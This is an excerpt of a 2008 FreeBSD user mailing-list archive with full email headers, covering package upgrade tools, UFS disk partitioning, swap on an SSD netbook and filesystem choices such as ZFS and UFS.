for ; Tue, 2 Dec 2008 16:29:18 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: from outbound-mail-10.bluehost.com (outbound-mail-10.bluehost.com [69.89.17.210]) by mx1.freebsd.org (Postfix) with SMTP id C1F118FC12 for ; Tue, 2 Dec 2008 16:29:17 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: (qmail 15908 invoked by uid 0); 2 Dec 2008 16:29:15 -0000 Received: from unknown (HELO box183.bluehost.com) (69.89.25.183) by outboundproxy1.bluehost.com with SMTP; 2 Dec 2008 16:29:15 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=apotheon.com; h=Received:Received:Date:From:To:Subject:Message-ID:Mail-Followup-To:References:Mime-Version:Content-Type:Content-Disposition:In-Reply-To:User-Agent:X-Identified-User; b=WMBPKu4L5d/iagnSAmKnbtz4/1X6S/Rv/Zi+leUAmQYLw277MyOeLXRsvdHcFKncIUhXlVkVvUcb0IF9LTIWjPBffNWQkGXsoqyyqViU0fV9gumKYfuIP9zFhQ+taLlq; Received: from c-24-8-180-234.hsd1.co.comcast.net ([24.8.180.234] helo=kokopelli.hydra) by box183.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1L7Y7f-0000xk-1n for freebsd-questions@freebsd.org; Tue, 02 Dec 2008 09:29:15 -0700 Received: by kokopelli.hydra (sSMTP sendmail emulation); Tue, 2 Dec 2008 09:29:15 -0700 Date: Tue, 2 Dec 2008 09:29:15 -0700 From: Chad Perrin To: freebsd-questions@freebsd.org Message-ID: <20081202162915.GB5851@kokopelli.hydra> Mail-Followup-To: freebsd-questions@freebsd.org References: <20081121211828.GA9493@kokopelli.hydra> <20081201193722.A10843@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="98e8jtXdkpgskNou" Content-Disposition: inline In-Reply-To: <20081201193722.A10843@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.4.2.3i X-Identified-User: {737:box183.bluehost.com:apotheon:apotheon.org} {sentby:smtp auth 24.8.180.234 authed with ren@apotheon.org} Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:29:18 -0000 --98e8jtXdkpgskNou Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Dec 01, 2008 at 07:39:39PM +0100, Wojciech Puchar wrote: >=20 > unix is not windows replacements. all of these GUI overlays for which tha= t=20 > much noise is heard are not just overlays, but are poorly designed even= =20 > more poorly than windows. >=20 > Windows is poorly designed too but at least it's somehow complete. What are you -- a troll? --=20 Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth Larry Wall: "Perl is, in intent, a cleaned up and summarized version of that wonderful semi-natural language known as 'Unix'." --98e8jtXdkpgskNou Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk1YlsACgkQ9mn/Pj01uKVgPwCfb7WPJUF/z4mTIoy8CXDSJLSH +ZgAnRgeAVU+TEZjf2P5HAqS/CubEvRE =bRoA -----END PGP SIGNATURE----- --98e8jtXdkpgskNou-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:43:12 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 198CD1065676 for ; Tue, 2 Dec 2008 16:43:12 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id E30128FC0C for ; Tue, 2 Dec 2008 16:43:10 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: (qmail 11872 invoked from network); 2 Dec 2008 16:43:08 -0000 Received: from unknown (HELO blizzard.dnsalias.org) (218.215.157.115) by smtp.mel.people.net.au with SMTP; 2 Dec 2008 16:43:08 -0000 Received: by blizzard.dnsalias.org (Postfix, from userid 1001) id 5703D171CE; Wed, 3 Dec 2008 03:43:06 +1100 (EST) Date: Wed, 3 Dec 2008 03:43:06 +1100 From: andrew clarke To: Mel Message-ID: <20081202164306.GA3341@ozzmosis.com> References: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> <20081202161358.GC2158@ozzmosis.com> <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> User-Agent: Mutt/1.5.18 (2008-05-17) Cc: Beech Rintoul , freebsd-questions@freebsd.org, Javier Vasquez , andrew clarke Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:43:12 -0000 On Tue 2008-12-02 17:22:53 UTC+0100, Mel (fbsd.questions@rachie.is-a-geek.net) wrote: > > Yes, this happens. -PP is not ideal for regular updates but it's > > still useful for when you have a new FreeBSD install with no packages > > installed, and want to get up and running quickly, grabbing the most > > recent binaries of all your favourite ports instead of building them > > all from source. > > That's infinitely slower than pkg_add -r . Hmm. Yes. I'm trying to remember why I did not like pkg_add -r. On the other hand I may be imagining any preference I had towards portupgrade -PP. Sorry :) From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:43:40 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9A1971065670 for ; Tue, 2 Dec 2008 16:43:40 +0000 (UTC) (envelope-from jevv.cr@gmail.com) Received: from wf-out-1314.google.com (wf-out-1314.google.com [209.85.200.174]) by mx1.freebsd.org (Postfix) with ESMTP id 65D3E8FC20 for ; Tue, 2 Dec 2008 16:43:40 +0000 (UTC) (envelope-from jevv.cr@gmail.com) Received: by wf-out-1314.google.com with SMTP id 24so3304075wfg.7 for ; Tue, 02 Dec 2008 08:43:39 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=jgj6L/4VePtytQz5W4r5RWYqqiAe4zMvt4p+/QqgFJI=; b=nJlVVLcuB/eSuObT8bundFpcJ5+FUF9yD6Sdm0O5H8W1AteE5dVgfz3qfBVEYPK8Ln UYX77xrxTE4bOcP0yca7MJkQQes6t5Qt+RivCxEKHCkMrUpEdeN/STe+/Jv95yNICbO7 e+Z7fPlNj5La1d80760C5Hkhi3BcyEmlg5Yw4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=PgW8lEkhHaP04w5fTDjjYqNEPUi7zr2lgVq0TyiMOrDBRZV/rXziLeCj2QQXbNOUUu 3oK1TG+BrNgTER73rFRu6pgLRGmj9DEdd94YGs+YRnimMbWwB/mxgM9mqZUB5L0a6602 9OX4Km8oPn2iGelqDcu9NNn1rVHOQ2G7naZSE= Received: by 10.114.185.8 with SMTP id i8mr7451650waf.85.1228236219626; Tue, 02 Dec 2008 08:43:39 -0800 (PST) Received: by 10.115.109.15 with HTTP; Tue, 2 Dec 2008 08:43:39 -0800 (PST) Message-ID: Date: Tue, 2 Dec 2008 10:43:39 -0600 From: "Javier Vasquez" To: freebsd-questions@freebsd.org In-Reply-To: <20081202160822.GB2158@ozzmosis.com> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20081202160822.GB2158@ozzmosis.com> Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:43:40 -0000 On 12/2/08, andrew clarke wrote: > On Tue 2008-12-02 00:41:58 UTC-0600, Javier Vasquez (jevv.cr@gmail.com) > wrote: > >> I was reading chapter 4 of the handbook, as well as chapters 24 and >> 26... If I got it clear, I pretty much might get the base system >> updated by using freebsd-update script. Ports collection can get >> updated with portsnap, but that doesn't update neither the intalled >> ports, nor the installed packages. To upgrade the installed ports, >> portmanager or portmaster or portupgrade can be used... However only >> portupgrade can be used to upgrade packages, right? >> >> Now, can something like "portupgrade -a -PP" to upgrade all packages >> without building a thing (might be that some don't get updated due to >> the lack of binary package yet, and in such case would dependencies be >> managed right)? > > Right. > >> More into how things work, as ports and pacakages are not part of the >> base systems, are they somehow associated to a particular release >> (most probably not)? So that pretty much no matter the release, if >> packages and ports are kept up to date, they might be the same for all >> releases? > > There are downloadable packages that are regularly built from the > latest ports tree. There are different packages available for > different releases though (eg. 6.x vs 7.x, i386 vs amd64). > > The theory goes that you can use i386 packages built for (for example) > 6.4 on a 6.3 system. Possibly all the way back to 6.0. If you're > relying on prebuilt packages then ideally you should try to keep the > base system updated where possible. > >> I'm asking these questions since I'm evaluating moving to BSD, but I >> want to avoid compiling as much as possible since my box is 800MHz >> piii celeron with just 32KB of cache and 512MB of ram, and for it >> source based distributions have proven to be too much to handle, so my >> intention would be to live with binary packages and updates/upgrades >> only... > > Those specs should be fine if you're building "small" software such as > Squid, Apache, Samba, etc. I build everything I need (http server + > http cache + mail server + spam filter + more) from source using a 1 > GHz Pentium III with 256 Mb (using portmaster). > > Firefox, GNOME or KDE would take a long time with 800 MHz. But I > wouldn't really like to run those big apps at only 800 MHz either. > > There's no reason why you can't install the larger software from > packages then just build the smaller stuff from source. With > portupgrade -PP you're still going to have to keep your ports tree > updated (I use portsnap) so it's not a lot of extra effort to build > from source. Actually I don't run desktop managers, just plain fluxbox over X. And I use X mostly to browse the web. But any ways, I've run source based linux distributions in the past, and although it's fun, my box takes too much time to keep up with the rolling changes. So I've learned it's better to keep updating through binaries in this good old boxes... >> Also if remaining under -STABLE, is all this possible? Kind of >> understood that openoffice.org can't be installed with "pkg_add -r", >> so most probably if living under -STABLE automatic updates for >> openoffice.org won't show up... So this kinds of answers one previous >> question about the packages been independent from the base system >> release, it looks like they aren't... > > Not too sure what you're asking here, and I've never used -STABLE. > Keep in mind though that you can't use freebsd-update if you're using > -STABLE (AFAIK). Ups, I didn't know that... so freebsd-update only works on -RELEASE's. I'm not sure that was explicit in the documentation, good to know, :) So the only way to live in -STABLE up to date is to keep the base system up to date through compilation... Thanks, -- Javier From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:44:30 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 31DA71065676 for ; Tue, 2 Dec 2008 16:44:30 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id D9C7E8FC28 for ; Tue, 2 Dec 2008 16:44:29 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB2GdKTV090334; Tue, 2 Dec 2008 11:39:20 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB2GdKIt090333; Tue, 2 Dec 2008 11:39:20 -0500 (EST) (envelope-from jerrymc) Date: Tue, 2 Dec 2008 11:39:20 -0500 From: Jerry McAllister To: Polytropon Message-ID: <20081202163920.GE90039@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20081202111740.96805018.freebsd@edvax.de> User-Agent: Mutt/1.4.2.2i Cc: Pieter Donche , "mail.list freebsd-questions" Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:44:30 -0000 On Tue, Dec 02, 2008 at 11:17:40AM +0100, Polytropon wrote: > On Tue, 2 Dec 2008 10:56:44 +0100 (CET), Pieter Donche wrote: > > If FreeBSD is to put on the system as only operating system (Fdisk: > > "A = Use Entire disk"), then will the BSD-partitions will show up as > > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > You're mixing terminology here. :-) The "use entire disk" will > create a slice for FreeBSD covering the complete disk. A slice > is what MICROS~1 calls "primary partition". > > Now the conclusion: Let's say you create a slice on ad0, it will > be ad0s1. Now you can create partitions inside this slice as you > mentioned it, e. g. ad0s1a = /, ad0s1b = swap, ad0s1d = /tmp, > ad0s1e = /var, ad0s1f = /usr and ad0s1g = /home. True. Too bad MS had to use the same terminology for slices as FreeBSD uses for subdivisions of slices. But, it won't be undone now, so the confusion will continue. > But if you're > refering to ad0a, ad0b, ad0d etc. you're stating that there's > no slice, implying that (if I see this correctly) it isn't possible > to boot from that disk. It is correct that this would imply no slice being created. But it is not correct that it could not be bootable. You can use bsdlabel to write the boot sector to ad0 instead of ad0s1 and it would be bootable - but would be what someone has enjoyed describing as a 'dangerously dedicated' disk. FreeBSD can deal with it, but other systems cannot. I don't know if you can do this from sysinstall though. I have never tried. But, it can be done by running bsdlabel by hand. > Of couse, if you would intend to use > a (physical) second disk for only the home partition, you could > omit the slice and the partition and simply newfs ad1 - but > that wasn't your question. Probably the 'dangerously dedicated' disk is more often used this way as an additional (second) drive that is not made bootable. In that case, it is unlikely that one would mount any of the partitions on '/' making it the root filesystem. That may be a problem. But, otherwise this looks probable or more likely it would have some swap to add to the first disk and all the rest in either the a or d partitions mounted as something like '/work' or /scratch'. > > ad0 |-----------------------------------------------| the whole disk > ad0s1 \----------------------------------------------/ one slice > ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > a b d e f g > / swap /tmp /var /usr /home mount point Have fun, ////jerry > > In case of "dual booting", you usually have more than one slice > on your disk, but what happens inside the FreeBSD slice is mostly > the same. > > > > Page 427 of the FreeBSD handbook states that due to the use of 32-bit > > integers to store the number of sectors is limited to 2^32 -1 > > sectors/disk = 2 TB. A layout could be See my other message about this part. > > a / 1Gb, > > b swap, > > d /root 20 Gb, (a /root partition is from an example of someone who > > claims that at boot FreeBSD checks the partions in background except > > for the / partition, by keeping / as small as possible, the time to > > boot can be mimimized .. correct? but will /root ever be something > > big ??) > > No no, / refers to "the root partition". One way of setting > up püartitions is just to have one partition (one root parttion) > and put everything on it, including /tmp, /var, /usr and /home. > Another philosophy is to create partitions designated to their > further use, just as I mentioned it above. > > For /, you would hardly need more than 1 GB. It just contains > the kernel, basal system binaries, the configuration files and > the directories that are mount points for all the other file > systems. Even a 256 MB / partition should be enoung. > > > > e /tmp 20 Gb, > > f /var 20 Gb, > > g /usr 20 Gb > > this leaves 2420 Gb which is more than 2 Tb, so you can't put all > > that in 1 filesystem h /home, you will need to split that in 2 > > BSD-paritions, but since you can't have more that 8 BSD-partitions > > (highest BSD-partition letter is h), you need to give up at least > > one of d, e, f, g. ... correct or not (then what)? > > I quite doubt that FreeBSD's UFS 2 cannot handle a 2 TB partition > as a whole, but because I don't have sch large disks with UFS > (I have ZFS for them), I cannot tell. > > > > > > PS. Corrected subject (was missing). > > -- > Polytropon > >From Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 16:57:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5A92F1065673 for ; Tue, 2 Dec 2008 16:57:01 +0000 (UTC) (envelope-from anthony.rasat@gmail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.26]) by mx1.freebsd.org (Postfix) with ESMTP id D633E8FC16 for ; Tue, 2 Dec 2008 16:57:00 +0000 (UTC) (envelope-from anthony.rasat@gmail.com) Received: by ey-out-2122.google.com with SMTP id 6so1289967eyi.7 for ; Tue, 02 Dec 2008 08:56:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:x-rim-org-msg-ref-id :return-receipt-to:message-id:reply-to:x-priority:sensitivity :importance:to:subject:from:date:content-type:mime-version; bh=EE8R8TSUYbxU3htOonThsWTdYY3StQAq+coG0NDj31o=; b=JedOpGpYFlh6hjzspEpAmuwagHprwx0QU7VB6SsH3CO/FL+SSz6T4YybgRxQzgSJhz 6cbOvALjgcrYbzKlabLp7zF81ldv6GOU0SSd6RXhqCrsZiOUJFTdrJjTdgqXRRP5uAuq Ylb+lqzy0pQwXQTvkEdsjhlc6OlLmXLXLsEAE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=x-rim-org-msg-ref-id:return-receipt-to:message-id:reply-to :x-priority:sensitivity:importance:to:subject:from:date:content-type :mime-version; b=OuT7SLgM32u8ehnTUiSGoMbD5gNvXAxZ+hcChoX+OinNlRfH3/Zj7BEE7uN41pvEkp aq3XUk7WkRjYfKO3xytnnO1aSpNsqUddq8DK1JD2hsXwVpTtD6g9RjPRHNLP+j21Z1xp USaur+4qWUiMd4YOKEBWLFOZDN1S0l8B3D9pU= Received: by 10.210.52.15 with SMTP id z15mr14255613ebz.42.1228237019411; Tue, 02 Dec 2008 08:56:59 -0800 (PST) Received: from bda011.bisx.prodap.on.blackberry (bda011.bis.ap.blackberry.com [216.9.247.139]) by mx.google.com with ESMTPS id i4sm28808989nfh.1.2008.12.02.08.56.57 (version=SSLv3 cipher=RC4-MD5); Tue, 02 Dec 2008 08:56:58 -0800 (PST) X-rim-org-msg-ref-id: 1822530854 Message-ID: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> X-Priority: Normal Sensitivity: Normal Importance: Normal To: freebsd-questions@freebsd.org From: "Anthony M. Rasat" Date: Tue, 2 Dec 2008 16:56:52 +0000 Content-Type: text/plain MIME-Version: 1.0 Subject: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: anthony.rasat@gmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 16:57:01 -0000 Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with GNOME and other desktop thingy (testing out of curiousity). Question is, swap or no swap? Remember, this is SSD, it is reasonable to have no swap. However, what if I wanted OpenOffice? This beast is memory hog AFAIK. Thanks for opinions. -- Regards, Anthony M. Rasat Manager - Technical, Network and Support Division PT. Jawa Pos National Network Graha Pena Jawa Pos Group Building, 5th floor Jln. Raya Kebayoran Lama 12, Jakarta Barat 12210 Indonesia.- Phone 02132185562 Phone 081574217035 Fax 02153651465 Web http://www.jpnn.com From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 17:06:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BC53A1065679 for ; Tue, 2 Dec 2008 17:06:27 +0000 (UTC) (envelope-from mikel.king@olivent.com) Received: from mail.olivent.com (mail.olivent.com [69.31.85.206]) by mx1.freebsd.org (Postfix) with ESMTP id 7F6028FC18 for ; Tue, 2 Dec 2008 17:06:27 +0000 (UTC) (envelope-from mikel.king@olivent.com) Received: from [172.16.1.8] ([204.107.76.14]) (authenticated user mikel@olivent.com) by mail.olivent.com (Kerio MailServer 6.6.1) (using TLSv1/SSLv3 with cipher AES128-SHA (128 bits)); Tue, 2 Dec 2008 12:06:23 -0500 From: Mikel King To: anthony.rasat@gmail.com In-Reply-To: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> X-Priority: Normal References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Message-Id: <990F83AE-AA60-454A-A456-7D91C0BE6D6A@olivent.com> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v929.2) Date: Tue, 2 Dec 2008 12:05:32 -0500 X-Mailer: Apple Mail (2.929.2) Cc: freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 17:06:27 -0000 On Dec 2, 2008, at 11:56 AM, Anthony M. Rasat wrote: > Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with > GNOME and other desktop thingy (testing out of curiousity). > > Question is, swap or no swap? Remember, this is SSD, it is > reasonable to have no swap. However, what if I wanted OpenOffice? > This beast is memory hog AFAIK. Thanks for opinions. > > -- Anthony, SSD or no, I feel that you should treat it as you would any other hard disk. Plan for a swap space, albeit a smaller one than you would normally allocate perhaps. Cheers, Mikel From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 17:07:46 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3913D106564A for ; Tue, 2 Dec 2008 17:07:46 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: from ourbrains.org (li48-221.members.linode.com [66.246.76.221]) by mx1.freebsd.org (Postfix) with SMTP id BD3218FC13 for ; Tue, 2 Dec 2008 17:07:45 +0000 (UTC) (envelope-from dan-freebsd-questions@ourbrains.org) Received: (qmail 20446 invoked by uid 1000); 2 Dec 2008 17:08:05 -0000 Date: Tue, 2 Dec 2008 12:08:05 -0500 From: Dan To: freebsd-questions@freebsd.org Message-ID: <20081202170805.GA20420@ourbrains.org> Mail-Followup-To: freebsd-questions@freebsd.org References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081202110922.T14849@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.5.18 (2008-05-17) Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 17:07:46 -0000 Wojciech Puchar(wojtek@wojtek.tensor.gdynia.pl)@2008.12.02 11:09:53 +0100: >>> What about DragonFlyBSD's new HAMMER FS? I hear it has similar capabilities >>> as ZFS without the overhead. Though, strangely, I haven't really heard >>> anyone discuss it even though it was released some months ago. > > it's maybe pre-pre-prerelease. > > it's not finished yet. It's already usable on DragonFly. DragonFLY itself is stable, but only supports one CPUIt probably will never be ported to FreeBSD due to API differences. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 17:14:30 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A9D451065679 for ; Tue, 2 Dec 2008 17:14:30 +0000 (UTC) (envelope-from lists@lizardhill.com) Received: from kermit.lizardhill.com (kermit7.lizardhill.com [64.69.41.223]) by mx1.freebsd.org (Postfix) with ESMTP id 915A68FC17 for ; Tue, 2 Dec 2008 17:14:30 +0000 (UTC) (envelope-from lists@lizardhill.com) Received: from ip72-193-84-190.lv.lv.cox.net ([72.193.84.190] helo=mickey) by kermit.lizardhill.com with esmtpa (Exim 4.62) (envelope-from ) id 1L7YaI-000K0x-47 for freebsd-questions@freebsd.org; Tue, 02 Dec 2008 08:58:50 -0800 From: "Don O'Neil" To: Date: Tue, 2 Dec 2008 08:57:58 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 thread-index: AclUnyDuXxJcIBqHSwCk+tq4625rNw== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Subject: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 17:14:30 -0000 With all the discussions of ZFS lately, I'm beginning to wonder if it's really ready for a production environment. Concerns over memory utilization, speed, stability, etc... So, my question is this... If you were building a brand new 6.3/7.0 server with decent performance (dual core, 32 Bit OS - because of known compatibility issues with specific software, 4 GB RAM, etc...) what file system would you choose? What options are out there besides UFS and ZFS? What FS's are least likely to have corruption issues when there are power hits? From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:03:46 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D6E061065670 for ; Tue, 2 Dec 2008 18:03:46 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 33DCC8FC13 for ; Tue, 2 Dec 2008 18:03:44 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2I3XId016088; Tue, 2 Dec 2008 19:03:33 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2I3Wjj016085; Tue, 2 Dec 2008 19:03:32 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 19:03:32 +0100 (CET) From: Wojciech Puchar To: "Don O'Neil" In-Reply-To: Message-ID: <20081202190301.H16084@wojtek.tensor.gdynia.pl> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Best Journaling File System - ZFS/??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:03:46 -0000 > With all the discussions of ZFS lately, I'm beginning to wonder if it's > really ready for a production environment. Concerns over memory utilization, no > speed, stability, etc... > > So, my question is this... If you were building a brand new 6.3/7.0 server > with decent performance (dual core, 32 Bit OS - because of known > compatibility issues with specific software, 4 GB RAM, etc...) what file > system would you choose? What options are out there besides UFS and ZFS? i use UFS everywhere. it's ACTUALLY high performance, just lacking ZFS fancy features. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:03:48 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5A822106564A for ; Tue, 2 Dec 2008 18:03:48 +0000 (UTC) (envelope-from bsam@ipt.ru) Received: from services.ipt.ru (services.ipt.ru [194.62.233.110]) by mx1.freebsd.org (Postfix) with ESMTP id 0BE4C8FC17 for ; Tue, 2 Dec 2008 18:03:47 +0000 (UTC) (envelope-from bsam@ipt.ru) Received: from bb.ipt.ru ([194.62.233.89]) by services.ipt.ru with esmtp (Exim 4.54 (FreeBSD)) id 1L7Zb7-000Bn5-3h; Tue, 02 Dec 2008 21:03:45 +0300 To: Mel References: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> <20081202161358.GC2158@ozzmosis.com> <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> From: Boris Samorodov Date: Tue, 02 Dec 2008 21:03:44 +0300 In-Reply-To: <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> (Mel's message of "Tue\, 2 Dec 2008 17\:22\:53 +0100") Message-ID: <82180575@bb.ipt.ru> User-Agent: 